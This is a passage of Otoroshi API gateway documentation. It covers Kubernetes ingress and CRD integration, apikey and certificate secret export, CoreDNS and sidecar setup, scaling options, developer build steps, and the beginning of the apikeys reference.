`ingress.otoroshi.io/secComAlgoChallengeBackToOto.size`\n- `ingress.otoroshi.io/secComAlgoChallengeBackToOto.secret`\n- `ingress.otoroshi.io/secComAlgoChallengeBackToOto.base64`\n- `ingress.otoroshi.io/secComAlgoInfoToken.size`\n- `ingress.otoroshi.io/secComAlgoInfoToken.secret`\n- `ingress.otoroshi.io/secComAlgoInfoToken.base64`\n- `ingress.otoroshi.io/securityExcludedPatterns`\n\nfor more informations about it, just go to https://maif.github.io/otoroshi/swagger-ui/index.html\n\nwith the previous example, the ingress does not define any apikey, so the route is public. If you want to enable apikeys on it, you can deploy the following descriptor\n\n```yaml\napiVersion: networking.k8s.io/v1beta1\nkind: Ingress\nmetadata:\n name: http-app-ingress\n annotations:\n kubernetes.io/ingress.class: otoroshi\n ingress.otoroshi.io/group: http-app-group\n ingress.otoroshi.io/forceHttps: 'true'\n ingress.otoroshi.io/sendOtoroshiHeadersBack: 'true'\n ingress.otoroshi.io/overrideHost: 'true'\n ingress.otoroshi.io/allowHttp10: 'false'\n ingress.otoroshi.io/publicPatterns: ''\nspec:\n tls:\n - hosts:\n - httpapp.foo.bar\n secretName: http-app-cert\n rules:\n - host: httpapp.foo.bar\n http:\n paths:\n - path: /\n backend:\n serviceName: http-app-service\n servicePort: 8080\n```\n\nnow you can use an existing apikey in the `http-app-group` to access your app\n\n```sh\ncurl -X GET https://httpapp.foo.bar/get -u existing-apikey-1:secret-1\n```\n\n## Use Otoroshi CRDs for a better/full integration\n\nOtoroshi provides some Custom Resource Definitions for kubernetes in order to manage Otoroshi related entities in kubernetes\n\n- `routes`\n- `backends`\n- `route-compositions`\n- `service-descriptors`\n- `tcp-services`\n- `error-templates`\n- `apikeys`\n- `certificates`\n- `jwt-verifiers`\n- `auth-modules`\n- `admin-sessions`\n- `admins`\n- `auth-module-users`\n- `service-groups`\n- `organizations`\n- `tenants`\n- `teams`\n- `data-exporters`\n- `scripts`\n- `wasm-plugins`\n- `global-configs`\n- `green-scores`\n- `coraza-configs`\n\nusing CRDs, you will be able to deploy and manager those entities from kubectl or the kubernetes api like\n\n```sh\nsudo kubectl get apikeys --all-namespaces\nsudo kubectl get service-descriptors --all-namespaces\ncurl -X GET \\\n -H 'Authorization: Bearer eyJhbGciOiJSUzI....F463SrpOehQRaQ' \\\n -H 'Accept: application/json' -k \\\n https://127.0.0.1:6443/apis/proxy.otoroshi.io/v1/apikeys | jq\n```\n\nYou can see this as better `Ingress` resources. Like any `Ingress` resource can define which controller it uses (using the `kubernetes.io/ingress.class` annotation), you can chose another kind of resource instead of `Ingress`. With Otoroshi CRDs you can even define resources like `Certificate`, `Apikey`, `AuthModules`, `JwtVerifier`, etc. It will help you to use all the power of Otoroshi while using the deployment model of kubernetes.\n \n@@@ warning\nwhen using Otoroshi CRDs, Kubernetes becomes the single source of truth for the synced entities. It means that any value in the descriptors deployed will overrides the one in Otoroshi datastore each time it's synced. So be careful if you use the Otoroshi UI or the API, some changes in configuration may be overriden by CRDs sync job.\n@@@\n\n### Resources examples\n\ngroup.yaml\n: @@snip [group.yaml](../snippets/crds/group.yaml) \n\napikey.yaml\n: @@snip [apikey.yaml](../snippets/crds/apikey.yaml) \n\nservice-descriptor.yaml\n: @@snip [service.yaml](../snippets/crds/service-descriptor.yaml) \n\ncertificate.yaml\n: @@snip [cert.yaml](../snippets/crds/certificate.yaml) \n\njwt.yaml\n: @@snip [jwt.yaml](../snippets/crds/jwt.yaml) \n\nauth.yaml\n: @@snip [auth.yaml](../snippets/crds/auth.yaml) \n\norganization.yaml\n: @@snip [orga.yaml](../snippets/crds/organization.yaml) \n\nteam.yaml\n: @@snip [team.yaml](../snippets/crds/team.yaml) \n\n\n### Configuration\n\nTo configure it, just go to the danger zone, and in `Global scripts` add the job named `Kubernetes Otoroshi CRDs Controller`. Then add the following configuration for the job (with your own tweak of course)\n\n```json\n{\n \"KubernetesConfig\": {\n \"enabled\": true,\n \"crds\": true,\n \"endpoint\": \"https://127.0.0.1:6443\",\n \"token\": \"eyJhbGciOiJSUzI....F463SrpOehQRaQ\",\n \"namespaces\": [\n \"*\"\n ]\n }\n}\n```\n\nthe configuration can have the following values \n\n```javascript\n{\n \"KubernetesConfig\": {\n \"endpoint\": \"https://127.0.0.1:6443\", // the endpoint to talk to the kubernetes api, optional\n \"token\": \"xxxx\", // the bearer token to talk to the kubernetes api, optional\n \"userPassword\": \"user:password\", // the user password tuple to talk to the kubernetes api, optional\n \"caCert\": \"/etc/ca.cert\", // the ca cert file path to talk to the kubernetes api, optional\n \"trust\": false, // trust any cert to talk to the kubernetes api, optional\n \"namespaces\": [\"*\"], // the watched namespaces\n \"labels\": [\"label\"], // the watched namespaces\n \"ingressClasses\": [\"otoroshi\"], // the watched kubernetes.io/ingress.class annotations, can be *\n \"defaultGroup\": \"default\", // the group to put services in otoroshi\n \"ingresses\": false, // sync ingresses\n \"crds\": true, // sync crds\n \"kubeLeader\": false, // delegate leader election to kubernetes, to know where the sync job should run\n \"restartDependantDeployments\": true, // when a secret/cert changes from otoroshi sync, restart dependant deployments\n \"templates\": { // template for entities that will be merged with kubernetes entities. can be \"default\" to use otoroshi default templates\n \"service-group\": {},\n \"service-descriptor\": {},\n \"apikeys\": {},\n \"global-config\": {},\n \"jwt-verifier\": {},\n \"tcp-service\": {},\n \"certificate\": {},\n \"auth-module\": {},\n \"data-exporter\": {},\n \"script\": {},\n \"organization\": {},\n \"team\": {},\n \"data-exporter\": {}\n }\n }\n}\n```\n\nIf `endpoint` is not defined, Otoroshi will try to get it from `$KUBERNETES_SERVICE_HOST` and `$KUBERNETES_SERVICE_PORT`.\nIf `token` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\nIf `caCert` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt`.\nIf `$KUBECONFIG` is defined, `endpoint`, `token` and `caCert` will be read from the current context of the file referenced by it.\n\nyou can find a more complete example of the configuration object [here](https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/plugins/jobs/kubernetes/config.scala#L134-L163)\n\n### Note about `apikeys` and `certificates` resources\n\nApikeys and Certificates are a little bit different than the other resources. They have ability to be defined without their secret part, but with an export setting so otoroshi will generate the secret parts and export the apikey or the certificate to kubernetes secret. Then any app will be able to mount them as volumes (see the full example below)\n\nIn those resources you can define \n\n```yaml\nexportSecret: true \nsecretName: the-secret-name\n```\n\nand omit `clientSecret` for apikey or `publicKey`, `privateKey` for certificates. For certificate you will have to provide a `csr` for the certificate in order to generate it\n\n```yaml\ncsr:\n issuer: CN=Otoroshi Root\n hosts: \n - httpapp.foo.bar\n - httpapps.foo.bar\n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-front, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n```\n\nwhen apikeys are exported as kubernetes secrets, they will have the type `otoroshi.io/apikey-secret` with values `clientId` and `clientSecret`\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n name: apikey-1\ntype: otoroshi.io/apikey-secret\ndata:\n clientId: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n clientSecret: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n```\n\nwhen certificates are exported as kubernetes secrets, they will have the type `kubernetes.io/tls` with the standard values `tls.crt` (the full cert chain) and `tls.key` (the private key). For more convenience, they will also have a `cert.crt` value containing the actual certificate without the ca chain and `ca-chain.crt` containing the ca chain without the certificate.\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n name: certificate-1\ntype: kubernetes.io/tls\ndata:\n tls.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n tls.key: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n cert.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA==\n ca-chain.crt: TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdA== \n```\n\n## Full CRD example\n\nthen you can deploy the previous example with better configuration level, and using mtls, apikeys, etc\n\nLet say the app looks like :\n\n```js\nconst fs = require('fs'); \nconst https = require('https'); \n\n// here we read the apikey to access http-app-2 from files mounted from secrets\nconst clientId = fs.readFileSync('/var/run/secrets/kubernetes.io/apikeys/clientId').toString('utf8')\nconst clientSecret = fs.readFileSync('/var/run/secrets/kubernetes.io/apikeys/clientSecret').toString('utf8')\n\nconst backendKey = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/tls.key').toString('utf8')\nconst backendCert = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/cert.crt').toString('utf8')\nconst backendCa = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/backend/ca-chain.crt').toString('utf8')\n\nconst clientKey = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/tls.key').toString('utf8')\nconst clientCert = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/cert.crt').toString('utf8')\nconst clientCa = fs.readFileSync('/var/run/secrets/kubernetes.io/certs/client/ca-chain.crt').toString('utf8')\n\nfunction callApi2() {\n return new Promise((success, failure) => {\n const options = { \n // using the implicit internal name (*.global.otoroshi.mesh) of the other service descriptor passing through otoroshi\n hostname: 'http-app-service-descriptor-2.global.otoroshi.mesh', \n port: 433, \n path: '/', \n method: 'GET',\n headers: {\n 'Accept': 'application/json',\n 'Otoroshi-Client-Id': clientId,\n 'Otoroshi-Client-Secret': clientSecret,\n },\n cert: clientCert,\n key: clientKey,\n ca: clientCa\n }; \n let data = '';\n const req = https.request(options, (res) => { \n res.on('data', (d) => { \n data = data + d.toString('utf8');\n }); \n res.on('end', () => { \n success({ body: JSON.parse(data), res });\n }); \n res.on('error', (e) => { \n failure(e);\n }); \n }); \n req.end();\n })\n}\n\nconst options = { \n key: backendKey, \n cert: backendCert, \n ca: backendCa, \n // we want mtls behavior\n requestCert: true, \n rejectUnauthorized: true\n}; \nhttps.createServer(options, (req, res) => { \n res.writeHead(200, {'Content-Type': 'application/json'});\n callApi2().then(resp => {\n res.write(JSON.stringify{ (\"message\": `Hello to ${req.socket.getPeerCertificate().subject.CN}`, api2: resp.body })); \n });\n}).listen(433);\n```\n\nthen, the descriptors will be :\n\n```yaml\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: http-app-deployment\nspec:\n selector:\n matchLabels:\n run: http-app-deployment\n replicas: 1\n template:\n metadata:\n labels:\n run: http-app-deployment\n spec:\n containers:\n - image: foo/http-app\n imagePullPolicy: IfNotPresent\n name: otoroshi\n ports:\n - containerPort: 443\n name: \"https\"\n volumeMounts:\n - name: apikey-volume\n # here you will be able to read apikey from files \n # - /var/run/secrets/kubernetes.io/apikeys/clientId\n # - /var/run/secrets/kubernetes.io/apikeys/clientSecret\n mountPath: \"/var/run/secrets/kubernetes.io/apikeys\"\n readOnly: true\n volumeMounts:\n - name: backend-cert-volume\n # here you will be able to read app cert from files \n # - /var/run/secrets/kubernetes.io/certs/backend/tls.crt\n # - /var/run/secrets/kubernetes.io/certs/backend/tls.key\n mountPath: \"/var/run/secrets/kubernetes.io/certs/backend\"\n readOnly: true\n - name: client-cert-volume\n # here you will be able to read app cert from files \n # - /var/run/secrets/kubernetes.io/certs/client/tls.crt\n # - /var/run/secrets/kubernetes.io/certs/client/tls.key\n mountPath: \"/var/run/secrets/kubernetes.io/certs/client\"\n readOnly: true\n volumes:\n - name: apikey-volume\n secret:\n # here we reference the secret name from apikey http-app-2-apikey-1\n secretName: secret-2\n - name: backend-cert-volume\n secret:\n # here we reference the secret name from cert http-app-certificate-backend\n secretName: http-app-certificate-backend-secret\n - name: client-cert-volume\n secret:\n # here we reference the secret name from cert http-app-certificate-client\n secretName: http-app-certificate-client-secret\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: http-app-service\nspec:\n ports:\n - port: 8443\n targetPort: https\n name: https\n selector:\n run: http-app-deployment\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ServiceGroup\nmetadata:\n name: http-app-group\n annotations:\n otoroshi.io/id: http-app-group\nspec:\n description: a group to hold services about the http-app\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ApiKey\nmetadata:\n name: http-app-apikey-1\n# this apikey can be used to access the app\nspec:\n # a secret name secret-1 will be created by otoroshi and can be used by containers\n exportSecret: true \n secretName: secret-1\n authorizedEntities: \n - group_http-app-group\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ApiKey\nmetadata:\n name: http-app-2-apikey-1\n# this apikey can be used to access another app in a different group\nspec:\n # a secret name secret-1 will be created by otoroshi and can be used by containers\n exportSecret: true \n secretName: secret-2\n authorizedEntities: \n - group_http-app-2-group\n---\napiVersion: proxy.otoroshi.io/v1\nkind: Certificate\nmetadata:\n name: http-app-certificate-frontend\nspec:\n description: certificate for the http-app on otorshi frontend\n autoRenew: true\n csr:\n issuer: CN=Otoroshi Root\n hosts: \n - httpapp.foo.bar\n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-front, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n---\napiVersion: proxy.otoroshi.io/v1\nkind: Certificate\nmetadata:\n name: http-app-certificate-backend\nspec:\n description: certificate for the http-app deployed on pods\n autoRenew: true\n # a secret name http-app-certificate-backend-secret will be created by otoroshi and can be used by containers\n exportSecret: true \n secretName: http-app-certificate-backend-secret\n csr:\n issuer: CN=Otoroshi Root\n hosts: \n - http-app-service \n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-back, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n---\napiVersion: proxy.otoroshi.io/v1\nkind: Certificate\nmetadata:\n name: http-app-certificate-client\nspec:\n description: certificate for the http-app\n autoRenew: true\n secretName: http-app-certificate-client-secret\n csr:\n issuer: CN=Otoroshi Root\n key:\n algo: rsa\n size: 2048\n subject: UID=httpapp-client, O=OtoroshiApps\n client: false\n ca: false\n duration: 31536000000\n signatureAlg: SHA256WithRSAEncryption\n digestAlg: SHA-256\n---\napiVersion: proxy.otoroshi.io/v1\nkind: ServiceDescriptor\nmetadata:\n name: http-app-service-descriptor\nspec:\n description: the service descriptor for the http app\n groups: \n - http-app-group\n forceHttps: true\n hosts:\n - httpapp.foo.bar # hostname exposed oustide of the kubernetes cluster\n # - http-app-service-descriptor.global.otoroshi.mesh # implicit internal name inside the kubernetes cluster \n matchingRoot: /\n targets:\n - url: https://http-app-service:8443\n # alternatively, you can use serviceName and servicePort to use pods ip addresses\n # serviceName: http-app-service\n # servicePort: https\n mtlsConfig:\n # use mtls to contact the backend\n mtls: true\n certs: \n # reference the DN for the client cert\n - UID=httpapp-client, O=OtoroshiApps\n trustedCerts: \n # reference the DN for the CA cert \n - CN=Otoroshi Root\n sendOtoroshiHeadersBack: true\n xForwardedHeaders: true\n overrideHost: true\n allowHttp10: false\n publicPatterns:\n - /health\n additionalHeaders:\n x-foo: bar\n# here you can specify everything supported by otoroshi like jwt-verifiers, auth config, etc ... for more informations about it, just go to https://maif.github.io/otoroshi/swagger-ui/index.html\n```\n\nnow with this descriptor deployed, you can access your app with a command like \n\n```sh\nCLIENT_ID=`kubectl get secret secret-1 -o jsonpath=\"{.data.clientId}\" | base64 --decode`\nCLIENT_SECRET=`kubectl get secret secret-1 -o jsonpath=\"{.data.clientSecret}\" | base64 --decode`\ncurl -X GET https://httpapp.foo.bar/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n## Expose Otoroshi to outside world\n\nIf you deploy Otoroshi on a kubernetes cluster, the Otoroshi service is deployed as a loadbalancer (service type: `LoadBalancer`). You'll need to declare in your DNS settings any name that can be routed by otoroshi going to the loadbalancer endpoint (CNAME or ip addresses) of your kubernetes distribution. If you use a managed kubernetes cluster from a cloud provider, it will work seamlessly as they will provide external loadbalancers out of the box. However, if you use a bare metal kubernetes cluster, id doesn't come with support for external loadbalancers (service of type `LoadBalancer`). So you will have to provide this feature in order to route external TCP traffic to Otoroshi containers running inside the kubernetes cluster. You can use projects like [MetalLB](https://metallb.universe.tf/) that provide software `LoadBalancer` services to bare metal clusters or you can use and customize examples in the installation section.\n\n@@@ warning\nWe don't recommand running Otoroshi behind an existing ingress controller (or something like that) as you will not be able to use features like TCP proxying, TLS, mTLS, etc. Also, this additional layer of reverse proxy will increase call latencies.\n@@@ \n\n## Access a service from inside the k8s cluster\n\n### Using host header overriding\n\nYou can access any service referenced in otoroshi, through otoroshi from inside the kubernetes cluster by using the otoroshi service name (if you use a template based on https://github.com/MAIF/otoroshi/tree/master/kubernetes/base deployed in the otoroshi namespace) and the host header with the service domain like :\n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\ncurl -X GET -H 'Host: httpapp.foo.bar' https://otoroshi-service.otoroshi.svc.cluster.local:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n### Using dedicated services\n\nit's also possible to define services that targets otoroshi deployment (or otoroshi workers deployment) and use then as valid hosts in otoroshi services \n\n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n name: my-awesome-service\nspec:\n selector:\n # run: otoroshi-deployment\n # or in cluster mode\n run: otoroshi-worker-deployment\n ports:\n - port: 8080\n name: \"http\"\n targetPort: \"http\"\n - port: 8443\n name: \"https\"\n targetPort: \"https\"\n```\n\nand access it like\n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\ncurl -X GET https://my-awesome-service.my-namspace.svc.cluster.local:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n### Using coredns integration\n\nYou can also enable the coredns integration to simplify the flow. You can use the the following keys in the plugin config :\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"coreDnsIntegration\": true, // enable coredns integration for intra cluster calls\n \"kubeSystemNamespace\": \"kube-system\", // the namespace where coredns is deployed\n \"corednsConfigMap\": \"coredns\", // the name of the coredns configmap\n \"otoroshiServiceName\": \"otoroshi-service\", // the name of the otoroshi service, could be otoroshi-workers-service\n \"otoroshiNamespace\": \"otoroshi\", // the namespace where otoroshi is deployed\n \"clusterDomain\": \"cluster.local\", // the domain for cluster services\n ...\n }\n}\n```\n\notoroshi will patch coredns config at startup then you can call your services like\n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\ncurl -X GET https://my-awesome-service.my-awesome-service-namespace.otoroshi.mesh:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\nBy default, all services created from CRDs service descriptors are exposed as `${service-name}.${service-namespace}.otoroshi.mesh` or `${service-name}.${service-namespace}.svc.otoroshi.local`\n\n### Using coredns with manual patching\n\nyou can also patch the coredns config manually\n\n```sh\nkubectl edit configmaps coredns -n kube-system # or your own custom config map\n```\n\nand change the `Corefile` data to add the following snippet in at the end of the file\n\n```yaml\notoroshi.mesh:53 {\n errors\n health\n ready\n kubernetes cluster.local in-addr.arpa ip6.arpa {\n pods insecure\n upstream\n fallthrough in-addr.arpa ip6.arpa\n }\n rewrite name regex (.*)\\.otoroshi\\.mesh otoroshi-worker-service.otoroshi.svc.cluster.local\n forward . /etc/resolv.conf\n cache 30\n loop\n reload\n loadbalance\n}\n```\n\nyou can also define simpler rewrite if it suits you use case better\n\n```\nrewrite name my-service.otoroshi.mesh otoroshi-worker-service.otoroshi.svc.cluster.local\n```\n\ndo not hesitate to change `otoroshi-worker-service.otoroshi` according to your own setup. If otoroshi is not in cluster mode, change it to `otoroshi-service.otoroshi`. If otoroshi is not deployed in the `otoroshi` namespace, change it to `otoroshi-service.the-namespace`, etc.\n\nBy default, all services created from CRDs service descriptors are exposed as `${service-name}.${service-namespace}.otoroshi.mesh`\n\nthen you can call your service like \n\n```sh\nCLIENT_ID=\"xxx\"\nCLIENT_SECRET=\"xxx\"\n\ncurl -X GET https://my-awesome-service.my-awesome-service-namespace.otoroshi.mesh:8443/get -u \"$CLIENT_ID:$CLIENT_SECRET\"\n```\n\n### Using old kube-dns system\n\nif your stuck with an old version of kubernetes, it uses kube-dns that is not supported by otoroshi, so you will have to provide your own coredns deployment and declare it as a stubDomain in the old kube-dns system. \n\nHere is an example of coredns deployment with otoroshi domain config\n\ncoredns.yaml\n: @@snip [coredns.yaml](../snippets/kubernetes/kustomize/base/coredns.yaml)\n\nthen you can enable the kube-dns integration in the otoroshi kubernetes job\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"kubeDnsOperatorIntegration\": true, // enable kube-dns integration for intra cluster calls\n \"kubeDnsOperatorCoreDnsNamespace\": \"otoroshi\", // namespace where coredns is installed\n \"kubeDnsOperatorCoreDnsName\": \"otoroshi-dns\", // name of the coredns service\n \"kubeDnsOperatorCoreDnsPort\": 5353, // port of the coredns service\n ...\n }\n}\n```\n\n### Using Openshift DNS operator\n\nOpenshift DNS operator does not allow to customize DNS configuration a lot, so you will have to provide your own coredns deployment and declare it as a stub in the Openshift DNS operator. \n\nHere is an example of coredns deployment with otoroshi domain config\n\ncoredns.yaml\n: @@snip [coredns.yaml](../snippets/kubernetes/kustomize/base/coredns.yaml)\n\nthen you can enable the Openshift DNS operator integration in the otoroshi kubernetes job\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"openshiftDnsOperatorIntegration\": true, // enable openshift dns operator integration for intra cluster calls\n \"openshiftDnsOperatorCoreDnsNamespace\": \"otoroshi\", // namespace where coredns is installed\n \"openshiftDnsOperatorCoreDnsName\": \"otoroshi-dns\", // name of the coredns service\n \"openshiftDnsOperatorCoreDnsPort\": 5353, // port of the coredns service\n ...\n }\n}\n```\n\ndon't forget to update the otoroshi `ClusterRole`\n\n```yaml\n- apiGroups:\n - operator.openshift.io\n resources:\n - dnses\n verbs:\n - get\n - list\n - watch\n - update\n```\n\n## CRD validation in kubectl\n\nIn order to get CRD validation before manifest deployments right inside kubectl, you can deploy a validation webhook that will do the trick. Also check that you have `otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator` request sink enabled.\n\nvalidation-webhook.yaml\n: @@snip [validation-webhook.yaml](../snippets/kubernetes/kustomize/base/validation-webhook.yaml)\n\n## Easier integration with otoroshi-sidecar\n\nOtoroshi can help you to easily use existing services without modifications while gettings all the perks of otoroshi like apikeys, mTLS, exchange protocol, etc. To do so, otoroshi will inject a sidecar container in the pod of your deployment that will handle call coming from otoroshi and going to otoroshi. To enable otoroshi-sidecar, you need to deploy the following admission webhook. Also check that you have `otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector` request sink enabled.\n\nsidecar-webhook.yaml\n: @@snip [sidecar-webhook.yaml](../snippets/kubernetes/kustomize/base/sidecar-webhook.yaml)\n\nthen it's quite easy to add the sidecar, just add the following label to your pod `otoroshi.io/sidecar: inject` and some annotations to tell otoroshi what certificates and apikeys to use.\n\n```yaml\nannotations:\n otoroshi.io/sidecar-apikey: backend-apikey\n otoroshi.io/sidecar-backend-cert: backend-cert\n otoroshi.io/sidecar-client-cert: oto-client-cert\n otoroshi.io/token-secret: secret\n otoroshi.io/expected-dn: UID=oto-client-cert, O=OtoroshiApps\n```\n\nnow you can just call you otoroshi handled apis from inside your pod like `curl http://my-service.namespace.otoroshi.mesh/api` without passing any apikey or client certificate and the sidecar will handle everything for you. Same thing for call from otoroshi to your pod, everything will be done in mTLS fashion with apikeys and otoroshi exchange protocol\n\nhere is a full example\n\nsidecar.yaml\n: @@snip [sidecar.yaml](../snippets/kubernetes/kustomize/base/sidecar.yaml)\n\n@@@ warning\nPlease avoid to use port `80` for your pod as it's the default port to access otoroshi from your pod and the call will be redirect to the sidecar via an iptables rule\n@@@\n\n## Daikoku integration\n\nIt is possible to easily integrate daikoku generated apikeys without any human interaction with the actual apikey secret. To do that, create a plan in Daikoku and setup the integration mode to `Automatic`\n\n@@@ div { .centered-img }\n\n@@@\n\nthen when a user subscribe for an apikey, he will only see an integration token\n\n@@@ div { .centered-img }\n\n@@@\n\nthen just create an ApiKey manifest with this token and your good to go \n\n```yaml\napiVersion: proxy.otoroshi.io/v1\nkind: ApiKey\nmetadata:\n name: http-app-2-apikey-3\nspec:\n exportSecret: true \n secretName: secret-3\n daikokuToken: RShQrvINByiuieiaCBwIZfGFgdPu7tIJEN5gdV8N8YeH4RI9ErPYJzkuFyAkZ2xy\n```\n\n"},{"name":"scaling.md","id":"/deploy/scaling.md","url":"/deploy/scaling.html","title":"Scaling Otoroshi","content":"# Scaling Otoroshi\n\n## Using multiple instances with a front load balancer\n\nOtoroshi has been designed to work with multiple instances. If you already have an infrastructure using frontal load balancing, you just have to declare Otoroshi instances as the target of all domain names handled by Otoroshi\n\n## Using master / workers mode of Otoroshi\n\nYou can read everything about it in @ref:[the clustering section](../deploy/clustering.md) of the documentation.\n\n## Using IPVS\n\nYou can use [IPVS](https://en.wikipedia.org/wiki/IP_Virtual_Server) to load balance layer 4 traffic directly from the Linux Kernel to multiple instances of Otoroshi. You can find example of configuration [here](http://www.linuxvirtualserver.org/VS-DRouting.html) \n\n## Using DNS Round Robin\n\nYou can use [DNS round robin technique](https://en.wikipedia.org/wiki/Round-robin_DNS) to declare multiple A records under the domain names handled by Otoroshi.\n\n## Using software L4/L7 load balancers\n\nYou can use software L4 load balancers like NGINX or HAProxy to load balance layer 4 traffic directly from the Linux Kernel to multiple instances of Otoroshi.\n\nNGINX L7\n: @@snip [nginx-http.conf](../snippets/nginx-http.conf) \n\nNGINX L4\n: @@snip [nginx-tcp.conf](../snippets/nginx-tcp.conf) \n\nHA Proxy L7\n: @@snip [haproxy-http.conf](../snippets/haproxy-http.conf) \n\nHA Proxy L4\n: @@snip [haproxy-tcp.conf](../snippets/haproxy-tcp.conf) \n\n## Using a custom TCP load balancer\n\nYou can also use any other TCP load balancer, from a hardware box to a small js file like\n\ntcp-proxy.js\n: @@snip [tcp-proxy.js](../snippets/tcp-proxy.js) \n\ntcp-proxy.rs\n: @@snip [tcp-proxy.rs](../snippets/proxy.rs) \n\n"},{"name":"dev.md","id":"/dev.md","url":"/dev.html","title":"Developing Otoroshi","content":"# Developing Otoroshi\n\nIf you want to play with Otoroshis code, here are some tips\n\n## The tools\n\nYou will need\n\n* git\n* JDK >= 11\n* SBT >= 1.7+\n* Node 18+ & yarn 1.x\n\n## Clone the repository\n\n```sh\ngit clone https://github.com/MAIF/otoroshi.git\n```\n\nor fork otoroshi and clone your own repository.\n\n## Run otoroshi in dev mode\n\nto run otoroshi in dev mode, you'll need to run two separate process to serve the javascript UI and the server part.\n\n### Javascript side\n\njust go to `/otoroshi/javascript` and install the dependencies with\n\n```sh\nyarn install\n# or\nnpm install\n```\n\nthen run the dev server with\n\n```sh\nyarn start\n# or\nnpm run start\n```\n\n### Server side\n\nsetup SBT opts with\n\n```sh\nexport SBT_OPTS=\"-Xmx2G -Xss6M\"\n```\n\nthen just go to `/otoroshi` and run the sbt console with \n\n```sh\nsbt\n```\n\nthen in the sbt console run the following command\n\n```sh\n~reStart\n# to pass jvm args, you can use: ~reStart --- -Dotoroshi.storage=memory ...\n```\n\nyou can now access your otoroshi instance at `http://otoroshi.oto.tools:9999`\n\n## Test otoroshi\n\nto run otoroshi test just go to `/otoroshi` and run the main test suite with\n\n```sh\nsbt 'testOnly OtoroshiTests'\n```\n\n## Create a release\n\njust go to `/otoroshi/javascript` and then build the UI\n\n```sh\nyarn install\nyarn build\n```\n\nthen go to `/otoroshi` and build the otoroshi distribution\n\n```sh\nsbt ';clean;compile;dist;assembly'\n```\n\nthe otoroshi build is waiting for you in `/otoroshi/target/scala-2.12/otoroshi.jar` or `/otoroshi/target/universal/otoroshi-1.x.x.zip`\n\n## Build the documentation\n\nfrom the root of your repository run\n\n```sh\nsh ./scripts/doc.sh all\n```\n\nThe documentation is located at `manual/target/paradox/site/main/`\n\n## Format the sources\n\nfrom the root of your repository run\n\n```sh\nsh ./scripts/fmt.sh\n```\n"},{"name":"apikeys.md","id":"/entities/apikeys.md","url":"/entities/apikeys.html","title":"Apikeys","content":"# Apikeys\n\nAn API key is a unique identifier used to connect to, or perform, an route call. \n\n@@@ div { .centered-img }\n\n@@@\n\nYou can found a concrete example @ref:[here](../how-to-s/secure-with-apikey.md)\n\n* `ApiKey Id`: the id is a unique random key that will represent this API key\n* `ApiKey Secret`: the secret is a random key used to validate the API key\n* `ApiKey Name`: a name for the API key, used for debug purposes\n* `ApiKey description`: a useful description for this apikey\n* `Valid until`: auto disable apikey after this date\n* `Enabled`: if the API key is disabled, then any call using this API key will fail\n* `Read only`: if the API key is in read only mode, every request done with this api key will only work for GET, HEAD, OPTIONS verbs\n* `Allow pass by clientid only`: here you allow client to only pass client id in a specific header in order to grant access to the underlying api\n* `Constrained services only`: this apikey can only be used on services using apikey routing constraints\n* `Authorized on`: the groups/services linked to this api key\n\n### Metadata and tags\n\n* `Tags`: tags attached to the api key\n* `Metadata`: metadata attached to the api key\n\n### Automatic secret rotation\n\nAPI can handle automatic secret rotation by themselves. When enabled, the rotation changes the secret every `Rotation every` duration. During the `Grace period` both secret will be usable.\n \n* `Enabled`: enabled automatic apikey secret rotation\n* `Rotation every`: rotate secrets 